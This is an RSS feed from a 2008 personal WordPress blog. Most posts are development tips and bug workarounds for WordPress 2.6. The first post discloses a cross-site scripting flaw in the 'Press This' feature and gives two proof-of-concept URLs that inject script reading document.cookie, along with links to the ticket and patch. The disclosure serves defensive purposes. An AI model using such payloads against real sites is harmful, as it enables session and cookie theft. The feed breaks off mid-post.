<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Kaizeku Ban &#187; WordPress</title>
	<atom:link href="http://blog.kaizeku.com/topics/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.kaizeku.com</link>
	<description>So many evil plans, so little time...</description>
	<pubDate>Wed, 27 Aug 2008 13:02:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Wordpress &#34;Press This&#34; Multiple XSS Vulnerability</title>
		<link>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/</link>
		<comments>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 03:16:18 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[2.6]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=219</guid>
		<description><![CDATA[WordPress Press this (WP 2.6) features is exposed to multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input. The issue can be found at Wordpress trac #7220
POC
*/wp-admin/press-this.php/?ajax=video&#038;s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
*/wp-admin/press-this.php/?ajax=thickbox&#038;i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Patch
the latest patch #8320 (07/09/08 19:51:53) by Ryan]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/08/wordpress-press-this-xss-vulnerability-pinpreview-by-chaoskaizer.png" alt="XSS Vulnerability" title="Wordpress &#34;Press This&#34; Multiple XSS Vulnerability" width="128" height="128" class="alignleft size-full wp-image-220" />WordPress <strong><a href="http://codex.wordpress.org/index.php?title=Press_This">Press this</a></strong> (WP 2.6) features is exposed to multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input. The issue can be found at Wordpress trac <a href="http://trac.wordpress.org/ticket/7220">#7220</a></p>
<h2 title="Proof of Concept">POC</h2>
<pre class="prebox">*/wp-admin/press-this.php/?ajax=video&#038;s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
*/wp-admin/press-this.php/?ajax=thickbox&#038;i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E</pre>
<h3 class="mgt">Patch</h3>
<p>the latest patch <a href="http://trac.wordpress.org/changeset/8302">#8320</a> <small>(07/09/08 19:51:53)</small> by Ryan</p>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Workaround for WP Image Caption</title>
		<link>http://blog.kaizeku.com/wordpress/workaround-for-wp-image-caption/</link>
		<comments>http://blog.kaizeku.com/wordpress/workaround-for-wp-image-caption/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 13:47:02 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[2.6]]></category>

		<category><![CDATA[shortcode]]></category>

		<category><![CDATA[wp constant]]></category>

		<category><![CDATA[wp_filters]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=211</guid>
		<description><![CDATA[I&#8217;m not really fond with the new image caption short code. The caption template is not usable for me and for most of WordPress savvy user out there.
WP caption structure
&#60;div style&#61;&#34;width&#58; 169px&#34; class&#61;&#34;wp&#45;caption alignnone&#34; id&#61;&#34;attachment_14&#34;&#62;
 &#60;a rel&#61;&#34;attachment wp&#45;att&#45;14&#34; href&#61;&#34;http&#58;&#47;&#47;www&#46;whatever&#46;com&#47;attachment&#47;&#34;&#62;
 &#60;img width&#61;&#34;159&#34; height&#61;&#34;300&#34; class&#61;&#34;size&#45;medium wp&#45;image&#45;14&#34; title&#61;&#34;Lorem ipsum&#34; alt&#61;&#34;Lorem ipsum&#34; src&#61;&#34;http&#58;&#47;&#47;www&#46;whatever&#46;com&#47;image&#46;png&#34;&#47;&#62;
 &#60;&#47;a&#62;
 &#60;p class&#61;&#34;wp&#45;caption&#45;text&#34;&#62;Lorem ipsum&#60;&#47;p&#62;
&#60;&#47;div&#62;
From the above [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wordpress-caption-shortcode-usability-pin-preview-by-chaoskaizer.png" alt="wordpress caption shortcode" title="wordpress-caption-shortcode-usability-pin-preview-by-chaoskaizer" width="128" height="128" class="alignright size-full wp-image-212" />I&#8217;m not really fond with the new image <em class="hilite-2">caption</em> short code. The caption template is not usable for me and for most of WordPress <a href="http://wordpress.org/search/image+caption+2.6?forums=1">savvy user out there</a>.</p>
<h2 class="mgt">WP caption structure</h2>
<pre class="prebox">&#60;div style&#61;&#34;width&#58; 169px&#34; class&#61;&#34;wp&#45;caption alignnone&#34; id&#61;&#34;attachment_14&#34;&#62;
 &#60;a rel&#61;&#34;attachment wp&#45;att&#45;14&#34; href&#61;&#34;http&#58;&#47;&#47;www&#46;whatever&#46;com&#47;attachment&#47;&#34;&#62;
 &#60;img width&#61;&#34;159&#34; height&#61;&#34;300&#34; class&#61;&#34;size&#45;medium wp&#45;image&#45;14&#34; title&#61;&#34;Lorem ipsum&#34; alt&#61;&#34;Lorem ipsum&#34; src&#61;&#34;http&#58;&#47;&#47;www&#46;whatever&#46;com&#47;image&#46;png&#34;&#47;&#62;
 &#60;&#47;a&#62;
 &#60;p class&#61;&#34;wp&#45;caption&#45;text&#34;&#62;Lorem ipsum&#60;&#47;p&#62;
&#60;&#47;div&#62;</pre>
<p>From the above HTML code the whole image content is wrap using a block elements <tt>&#34;&#60;div&#62;&#34;</tt>.</p>
<h2 class="mgt">The issue</h2>
<p>If the below condition is met it will render the whole document invalid.</p>
<ol class="xoxo">
<li>Image caption is placed inside a paragraph.</li>
<li>Wordpress wpautop (default filters) is enabled; wpautop will auto append &#60;p&#62; on raw text content.</li>
</ol>
<p><span id="more-211"></span></p>
<h2 class="mgt">Turn it off</h2>
<h5 class="mgt">Special Constant</h5>
<p>Interestingly a simple <strong class="fw-">caption shortcode</strong> has a <em>user defined constant</em>. It seem like WP developer has predict that their implementation is highly debatable.</p>
<p> Alternatively you have the options to hardcode the below Constant to disabled the &#8220;Auto Caption&#8221; features inside <tt>wp-config.php</tt>.</p>
<pre class="smallbox">
define('CAPTIONS_OFF',1); // disabled auto image caption
</pre>
<h5 class="mgt">WP Caption shortcode filters</h5>
<p>It has filters too, <tt class="hilite-4">img_caption_shortcode</tt>. For advance WP user you can bind this hook to overwrite the default caption template.</p>
<h2>Workaround</h2>
<p>My workaround involved 1. removing the caption shortcode 2. make a new one. I did this because I don&#8217;t like the <tt class="hilite-1">img_caption_shortcode</tt> filters as seem like too much of work.</p>
<ol class="xoxo">
<li>
<p>First we recreate/replicate the caption shortcode functions. Named it <tt>nwp_caption_shortcode</tt> - <small>new wp caption shortcode</small> </p>
<pre class="prebox">
function nwp_caption_shortcode&#40;&#36;attr&#44; &#36;content&#61;null&#41;&#123;	

	if &#40; defined&#40;&#39;CAPTIONS_OFF&#39;&#41; &#41;&#123;
		&#47;&#47; no check for bool its literally meant off&#47; get off
		return &#36;content&#59;
	&#125;

	extract&#40;shortcode_atts&#40;array&#40;
		&#39;id&#39;	&#61;&#62; &#39;&#39;&#44;
		&#39;align&#39;	&#61;&#62; &#39;alignnone&#39;&#44;
		&#39;width&#39;	&#61;&#62; &#39;&#39;&#44;
		&#39;caption&#39; &#61;&#62; &#39;&#39;
	&#41;&#44; &#36;attr&#41;&#41;&#59;

	if &#40; 1 &#62; &#40;int&#41; &#36;width &#124;&#124; empty&#40;&#36;caption&#41; &#41;&#123;
		return &#36;content&#59;
	&#125;

	if &#40; &#36;id &#41; &#36;id &#61; &#39;id&#61;&#34;&#39; &#46; &#36;id &#46; &#39;&#34; &#39;&#59;

	&#36;output &#61; &#39;&#60;span &#39; &#46; &#36;id &#46; &#39;class&#61;&#34;wp&#45;caption &#39; &#46; &#36;align &#46; &#39;&#34; &#39;&#59;
	&#36;output &#46;&#61; &#39;style&#61;&#34;width&#58; &#39; &#46; &#40;10 &#43; &#40;int&#41; &#36;width&#41; &#46; &#39;px&#59;display&#58;block&#34;&#62;&#39;&#59;
	&#36;output &#46;&#61; &#36;content&#59;
	&#36;output &#46;&#61; &#39;&#60;dfn class&#61;&#34;wp&#45;caption&#45;text&#34;&#62;&#39; &#46; &#36;caption &#46; &#39;&#60;&#47;dfn&#62;&#60;&#47;span&#62;&#39;&#59;

	return apply_filters&#40;&#39;nwp_caption_shortcode&#39;&#44;&#36;output&#41;&#59;
&#125;
</pre>
<p>The shortcode functions is pretty much the same, the only different is I used <span class="hilite-1">&#60;span&#62;</span> to wrap the image content and <span class="hilite-1">&#60;dfn&#62;</span> to hold the caption text.</p>
</li>
<li>
<p> Next create a function to unregister the default caption shortcode.</p>
<pre class="prebox">
function remove_caption_shortcode&#40;&#41;&#123;
	foreach&#40;array&#40;&#39;wp_caption&#39;&#44;&#39;caption&#39;&#41; as &#36;tag&#41; &#123;
		remove_shortcode&#40;&#36;tag&#41;&#59;
	&#125;
&#125;
</pre>
</li>
<li>
<p> Lastly we register all this functions.</p>
<pre class="prebox">if &#40;version_compare&#40;&#36;GLOBALS&#91;&#39;wp_version&#39;&#93;&#44; &#39;2&#46;6&#39;&#44; &#39;&#62;&#61;&#39;&#41;&#41;&#123;
	add_action&#40;&#39;init&#39;&#44;&#39;shortcode_init&#39;&#41;&#59;
&#125;

function shortcode_init&#40;&#41;&#123;
	add_action&#40;&#39;loop_start&#39;&#44;&#39;remove_caption_shortcode&#39;&#44;10&#41;&#59;
	add_action&#40;&#39;loop_start&#39;&#44;&#39;reg_shortcode&#39;&#44;11&#41;&#59;
&#125;

function reg_shortcode&#40;&#41;&#123;
	add_shortcode&#40;&#39;caption&#39;&#44;&#39;nwp_caption_shortcode&#39;&#41;&#59;
	add_shortcode&#40;&#39;wp_caption&#39;&#44;&#39;nwp_caption_shortcode&#39;&#41;&#59;
&#125;</pre>
</li>
</ol>
<h2 class="mgt">Download</h2>
Note: There is a file embedded within this post, please visit this post to download the file.]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/workaround-for-wp-image-caption/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Wordpress 2.6 Permalink Bug fixes</title>
		<link>http://blog.kaizeku.com/wordpress/wordpress-26-permalink-bug-fixes/</link>
		<comments>http://blog.kaizeku.com/wordpress/wordpress-26-permalink-bug-fixes/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 11:43:01 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[2.6]]></category>

		<category><![CDATA[permalinks]]></category>

		<category><![CDATA[upgrade]]></category>

		<category><![CDATA[wp_rewrite]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=202</guid>
		<description><![CDATA[There is a critical bug with Wordpress 2.6 (not a major headache actually ). Check out the full ticket at Wordpress development trac #7306.
2.6 Permalink Defect
[...] 404 error appears on all permalinks when blog uses following permalink structure; &#47;index&#46;php&#47;&#37;postname&#37;&#47;. Clicking any post headings will give 404 error. Also archives &#47;index&#46;php&#47;2008&#47;07&#47; will give 404 error [...]

This [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wordpress-26-permalink-structure-bug.png" alt="WordPress 2.6 Permalinks Structure bug" title="wordpress-26-permalink-structure-bug" width="128" height="128" class="alignleft size-full wp-image-203" />There is a critical bug with <a href="http://wordpress.org/download/release-archive/">Wordpress 2.6</a> (not a major headache actually ). Check out the full ticket at Wordpress development trac #<a href="http://trac.wordpress.org/ticket/7306">7306</a>.</p>
<h2>2.6 Permalink Defect</h2>
<blockquote cite="http://trac.wordpress.org/ticket/7306"><p>[...] 404 error appears on all permalinks when blog uses following permalink structure; <tt>&#47;index&#46;php&#47;&#37;postname&#37;&#47;</tt>. Clicking any post headings will give 404 error. Also archives <tt>&#47;index&#46;php&#47;2008&#47;07&#47;</tt> will give 404 error [...]</p>
</blockquote>
<p>This issue arise if you set WP permalink structure to &#8220;<tt class="hilite-2">&#47;index&#46;php&#47;&#37;postname&#37;&#47;</tt>&#8220;. </p>
<p><span id="more-202"></span></p>
<h3>Workaround</h3>
<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wordpress-26-permalink-structure-bug1.png" alt="wordpress 2.6 permalink settings" title="wordpress-26-permalink-structure-bug1" width="446" height="108" class="alignnone size-full wp-image-209" /></p>
<p>Add some values in for the category and tag bases (<tt>Admin > Settings > Permalinks</tt>). The words &#8220;category&#8221; and &#8220;tag&#8221; will do just fine. As long as they are not blank, this should work around the bug. <a href="http://wordpress.org/support/topic/189058?replies=1#post-804069">~Otto42</a></p>
<p>More info: WP support forum &rarr; <a href="http://wordpress.org/support/topic/189058">[Fix] 2.6 Permalink issues with &#8220;index.php&#8221;</a>.</p>
<h5>Might be interest</h5>
<p> Probably a WP 2.6.1 patch &rarr; <a href="http://trac.wordpress.org/changeset/8366">#8566</a> (by Mark Jaquith)</p>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wordpress-26-permalink-bug-fixes/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to create specific CSS selector base on WP Post Type and Post ID</title>
		<link>http://blog.kaizeku.com/wordpress/css-selector-base-on-post-type-and-post-id/</link>
		<comments>http://blog.kaizeku.com/wordpress/css-selector-base-on-post-type-and-post-id/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 06:55:33 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[Themes]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[wp_query]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=197</guid>
		<description><![CDATA[While spending my time stalking wordpress support forum, I stumbled on this 6 days old unresolved topics &#8221; using page/post id to specify per-page css in 2.5&#8243;. 
I&#8217;m about to upgrade a site from Wordpress 2.3 to the latest version. I&#8217;ve previously been employing the page id in order to have page specific CSS, e.g., [...]]]></description>
			<content:encoded><![CDATA[<p>While spending my time stalking wordpress support forum, I stumbled on this 6 days old unresolved topics <a href="http://wordpress.org/support/topic/187701/">&#8221; using page/post id to specify per-page css in 2.5&#8243;</a>. </p>
<blockquote cite="http://wordpress.org/support/topic/187701/" class="cr"><p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/warning.png" alt="chibi hate you mod by chaoskaizer" title="warning" width="80" height="80" class="alignleft size-full wp-image-199" />I&#8217;m about to upgrade a site from <strong>Wordpress 2.3</strong> to the latest version. I&#8217;ve previously been employing the page id in order to have page specific CSS, e.g., pages with either 0, 1 or 2 sidebars.</p>
<p>For example, if the url is <tt>http://site.com/page1</tt>, the page is styled with a combination of a template and <abbr title="Cascading Style Sheet">CSS</abbr> to specify the width of primary:</p>
<p><tt>#page1 #primary {margin-left: 0;width: 890px; }</tt></p>
<p>I&#8217;ve read in some other posts here that <strong>Wordpress 2.5</strong> no longer uses this, and now the <strong>post ID</strong> is used instead [...] <small>~ hauntedtapedeck</small></p>
</blockquote>
<h2>Workaround</h2>
<p>Basically, what we need is a unique <strong>CSS Selector</strong> for specific post &#038; custom page inside the template.</p>
<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/console-html.jpg" alt="firebug html console" title="console-html" width="359" height="74" class="alignnone size-full wp-image-198" /></p>
<p><span id="more-197"></span></p>
<ol class="xoxo cb">
<li>
<p>First we create a function for our CSS selector and save it inside WP theme <tt>functions.php</tt></p>
<p><tt class="db fr cf"><small>functions.php: get_post_selector_classname()</small></tt></p>
<pre class="prebox cr">
function get_post_selector_classname&#40;&#41;
&#123; global &#36;wp_query&#59;

 if &#40;&#33;is_object&#40;&#36;wp_query&#41; &#41; return&#59;

 if &#40;&#36;wp_query&#45;&#62;is_single &#124;&#124; &#36;wp_query&#45;&#62;is_page&#41; &#123;	 

	 &#36;pid &#61; &#36;wp_query&#45;&#62;post&#45;&#62;ID&#59;
	 &#36;post_type &#61; &#36;wp_query&#45;&#62;post&#45;&#62;post_type&#59; 

	 return &#39;wp&#45;&#39;&#46;&#36;post_type&#46;&#39; &#39;&#46;&#36;post_type&#46;&#39;&#45;&#39;&#46;&#36;pid&#59;
 &#125;
&#125;
</pre>
</li>
<li>
<p>Next we call the <tt>get_post_selector_classname</tt> function inside the template. You can call this function anywhere inside your template but the best placement for the class selector is inside body tag (more weight for inheritance). </p>
<p><tt class="db fr cf"><small>header.php</small></tt></p>
<pre class="smallbox cr">
&#60;body class&#61;&#34;&#60;&#63;php echo get_post_selector_classname&#40;&#41;&#59;&#63;&#62;&#34;&#62;
</pre>
</li>
</ol>
<h3>Available CSS selector</h3>
<p>The following CSS selector is available inside WP post single and page only.</p>
<ul class="xoxo mgb" style="list-style-type:hiragana-iroha">
<li>body.wp-page</li>
<li>body.page-ID</li>
<li>body.wp-post</li>
<li>body.post-ID</li>
</ul>
<h5>CSS Example</h5>
<p><small class="db fr cf hilite-2">styling &#8220;single page&#8221; post.</small></p>
<pre class="smallbox cr">body&#46;wp&#45;single&#123;background&#45;color&#58;&#35;f6f6f6&#59;&#125;</pre>
<p><small class="db fr cf hilite-2">styling a single page with post ID 69.</small></p>
<pre class="smallbox cr">body&#46;single&#45;69&#123;background&#45;color&#58;&#35;f6f6f6&#59;&#125;</pre>
<p><small class="db fr cf hilite-2">styling custom page with post ID 42.</small></p>
<pre class="smallbox cr">body&#46;page&#45;42&#123;background&#45;color&#58;&#35;f6f6f6&#59;&#125;</pre>
<p><small class="db fr cf hilite-2">styling all custom page.</small></p>
<pre class="smallbox cr">body&#46;wp&#45;page&#123;background&#45;color&#58;&#35;f6f6f6&#59;&#125;</pre>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/css-selector-base-on-post-type-and-post-id/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Wp-iStalker 1.6 hidden theme options</title>
		<link>http://blog.kaizeku.com/wordpress/wp-istalker-16-hidden-theme-options/</link>
		<comments>http://blog.kaizeku.com/wordpress/wp-istalker-16-hidden-theme-options/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 03:59:04 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[wpistalker]]></category>

		<category><![CDATA[theme]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=182</guid>
		<description><![CDATA[There are more than ten hidden options in Wp-iStalker theme, these hidden options will be available if certain conditions are met. Checkout the requirements below

1. Blog header Advanced Customization


Upload any TTF fonts inside /themes/wp-istalker-%versions%-pb/public/fonts directory.
GD2 is enabled

2. Post layout avatar options

Enabled Avatar refer Admin > Settings > Discussion > Avatar Display

3. ICRA pics-ratings

Upload ICRA labels.rdf [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/crunchy.gif" alt="dont bother" title="crunchy" width="50" height="50" class="alignnone size-full wp-image-185" />There are more than ten hidden options in Wp-iStalker theme, these hidden options will be available if certain conditions are met. Checkout the requirements below</p>
<p><span id="more-182"></span></p>
<h5 class="cr">1. Blog header Advanced Customization</h5>
<p><a href='http://blog.kaizeku.com/wordpress/wp-istalker-16-hidden-theme-options/attachment/blog-header-customization/' rel="attachment wp-att-183"><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/blog-header-customization-300x218.png" alt="wp-istalker blog header customization" title="blog-header-customization" width="300" height="218" class="alignnone size-medium wp-image-183" /></a></p>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Upload any <span class="hilite-2">TTF</span> fonts inside <tt>/themes/wp-istalker-%versions%-pb/public/fonts</tt> directory.</li>
<li><a href="http://php.net/manual/en/book.image.php">GD2</a> is enabled</li>
</ol>
<h5>2. Post layout avatar options</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Enabled Avatar <small>refer <tt>Admin > Settings > Discussion > Avatar Display</tt></small></li>
</ol>
<h5>3. ICRA pics-ratings</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Upload <a href="http://www.icra.org">ICRA</a> <tt>labels.rdf</tt> inside your wordpress blog root directory.</li>
</ol>
<h5>4. Post layout relative date options</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Activated <a href="http://binarybonsai.com/wordpress/time-since/">Dustan&#8217;s time since</a> plugin </li>
</ol>
<h5>5. ClaimID delegate meta link options</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Valid microID hash</li>
</ol>
<h5>6. XRDS</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Activated <a href="http://willnorris.com/projects/wp-openid">WP Openid</a> plugin.</li>
</ol>
<h5>7. Language alternate meta links</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Activated <a href="http://www.nothing2hide.net/wp-plugins/wordpress-global-translator-plugin/">Global Translator</a> plugin.</li>
</ol>
<h5>8. Related post widget extra options</h5>
<ol class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Activated &#8220;Related posts widget&#8221;.</li>
</ol>
<h5>9. A9 Open search auto-discovery</h5>
<ul class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Make sure there is no <tt>osd.xml</tt> in your wordpress blog root directory</li>
<li>The theme public directory is writable <tt>/themes/wp-istalker-%versions%-pb/public/</tt></li>
</ul>
<h5>10. APC template options</h5>
<p class="r"><small>Premium versions only</small></p>
<ul class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Enabled APC</li>
<li>Defined WP_CACHE constant inside wp-config.php</li>
<li>Upload APC <tt><a href="http://txfx.net/files/wordpress/apc-object-cache.phps">object-cache.php</a></tt> inside <tt>/wp-content/</tt> directory</li>
</ul>
<h5>11. Botnet Cloaking options</h5>
<p class="r"><small>Premium versions only</small></p>
<ul class="xoxo cf mgb" style="list-style-type:hiragana-iroha">
<li>Install <a href="http://www.crawltrack.fr">CrawlTrack</a> within the same wordpress database</li>
</ul>
<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/easter-egg.gif" alt="easter egg" title="easter-egg" width="30" height="26" class="alignnone size-full wp-image-184" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wp-istalker-16-hidden-theme-options/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Google gears script conflict</title>
		<link>http://blog.kaizeku.com/wordpress/google-gears-script-conflict/</link>
		<comments>http://blog.kaizeku.com/wordpress/google-gears-script-conflict/#comments</comments>
		<pubDate>Sat, 05 Jul 2008 15:37:07 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[firebug]]></category>

		<category><![CDATA[google gears]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[wp26]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=177</guid>
		<description><![CDATA[I&#8217;m running a test for wordpress 2.6 beta1 &#38; beta2 on my development server when Firebug throw this unexpected error while on the WP Admin dashboard (see the attachment). 
The error notices is a total garbage, its something I&#8217;m not familiar with.
What surprised me is not the actual javascript errors but because google gears files [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wp-gears-pin-up-by-chaoskaizer.png" alt="wp-gears" title="wp-gears-pin-up-by-chaoskaizer" width="128" height="128" class="alignleft size-full wp-image-180" />I&#8217;m running a test for <a href="http://wordpress.org/download/release-archive/">wordpress 2.6 beta1 &amp; beta2</a> on my development server when <abbr title="a javascript debugger for firefox">Firebug</abbr> throw this unexpected error while on the <abbr title="WordPress">WP</abbr> Admin dashboard (see the <a href="#attachment-lists">attachment</a>). </p>
<p>The error notices is a total garbage, <em>its something I&#8217;m not familiar with.</em></p>
<p>What surprised me is not the actual javascript errors but because <tt>google gears</tt> files is <span class="hilite-2">register as default</span> wordpress scripts and running in the background, loaded via <tt>wp_default_scripts</tt> action hook filters <small>(ref: script-loader.php Line:195)</small> and there is no possible way to disabled this script from being loaded without editing the main files.</p>
<p><span id="more-177"></span></p>
<h4>Attachments</h4>
<ol id="attachment-lists" class="xoxo">
<li>
<h5>Firebug Console Debug</h5>
<p><a href='http://blog.kaizeku.com/wordpress/google-gears-script-conflict/attachment/wordpress-wp-gears-conflict/' rel="attachment wp-att-178"><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wordpress-wp-gears-conflict-150x150.png" alt="" title="wordpress-wp-gears-conflict" width="150" height="150" class="alignnone size-thumbnail wp-image-178" /></a></li>
<li>
<h5>Firebug Console: Loaded object, DOM tree</h5>
<p><a href='http://blog.kaizeku.com/wordpress/google-gears-script-conflict/attachment/wordpress-wp-gears-conflict-dom/' rel="attachment wp-att-179"><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wordpress-wp-gears-conflict-dom-150x150.png" alt="dom failed" title="wordpress-wp-gears-conflict-dom" width="150" height="150" class="alignnone size-thumbnail wp-image-179" /></a></li>
</ol>
<p>This was tested on <tt>Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0</tt> &amp; <tt>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15</tt></p>
<h3 class="mgt">More options</h3>
<p><a href="http://gears.google.com">Google gears</a> is a third party provider for wonderful client storage applications (Structured client-side storage) and by all meant not all end-user will be using this features (because some are really concern with their privacy). </p>
<p>IMHO its a good practice to have an options to disabled google gears (not running in the background) and should be handle like the XML-RPC settings in WP 2.6.</p>
<p>hope to see more clean version of wordpress for 2.6 release.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/google-gears-script-conflict/feed/</wfw:commentRss>
		</item>
		<item>
		<title>wordpress.com additional header</title>
		<link>http://blog.kaizeku.com/wordpress/wordpresscom-additional-header/</link>
		<comments>http://blog.kaizeku.com/wordpress/wordpresscom-additional-header/#comments</comments>
		<pubDate>Thu, 03 Jul 2008 02:36:17 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[Owned]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=173</guid>
		<description><![CDATA[better way to implement job posting for geek ;p

Related

wordpress.com
]]></description>
			<content:encoded><![CDATA[<p>better way to implement job posting for geek ;p</p>
<p><a href='http://blog.kaizeku.com/wordpress/wordpresscom-additional-header/attachment/headers-xhacker/' rel="attachment wp-att-174"><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/headers-xhacker.png" alt="x-hacker" title="headers-xhacker" width="470" height="128" class="alignnone size-full wp-image-174" /></a></p>
<h5>Related</h5>
<ul class="xoxo">
<li><a href="http://wordpress.com">wordpress.com</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wordpresscom-additional-header/feed/</wfw:commentRss>
		</item>
		<item>
		<title>WP 2.6 user defined constant</title>
		<link>http://blog.kaizeku.com/wordpress/wp-26-user-defined-constant-plugin-issues/</link>
		<comments>http://blog.kaizeku.com/wordpress/wp-26-user-defined-constant-plugin-issues/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 16:55:51 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[plugins]]></category>

		<category><![CDATA[hook]]></category>

		<category><![CDATA[wp26]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=171</guid>
		<description><![CDATA[The upcoming WordPress 2.6 introduces new user defined constant for specific critical system directory settings. This new improvement may seem like a small “change” but on plugin developer context it can be an impending disaster.]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/07/wp-26-wp-config-previewpinup-by-ck.png" alt="wp 2.6 plugin issue" title="wp-26-wp-config-previewpinup-by-ck" width="128" height="128" class="alignright size-full wp-image-172" />The upcoming <a href="http://wordpress.org">WordPress</a> 2.6 introduces new <span class="fw">user defined</span> constant for specific <em>critical system directory</em> settings. This new improvement may seem like a small &#8220;change&#8221; but on plugin developer context it can be an impending disaster.</p>
<h2>wp-config &amp; wp-load files</h2>
<p>Most plugin depend on &#8220;absolute path&#8221; to wordpress system file (wp-config.php). So the problem is there. </p>
<p><a href="http://lesterchan.net/">Lester-chan (GaMerZ)</a> has this to say regarding the new WordPress 2.6 constant change.</p>
<blockquote cite="http://weblogtoolscollection.com/archives/2008/06/30/what-you-need-to-know-about-wordpress-26/#comment-1232513"><p>The constant only get loaded when you load WP. Plugins will have problem finding wp-config.php or wp-blog-header.php from the plugin file.</p>
</blockquote>
<h3>might be broken in WP 2.6</h3>
<pre class="smallbox">require_once('../../../wp-config.php');</pre>
<h5>Long story, short</h5>
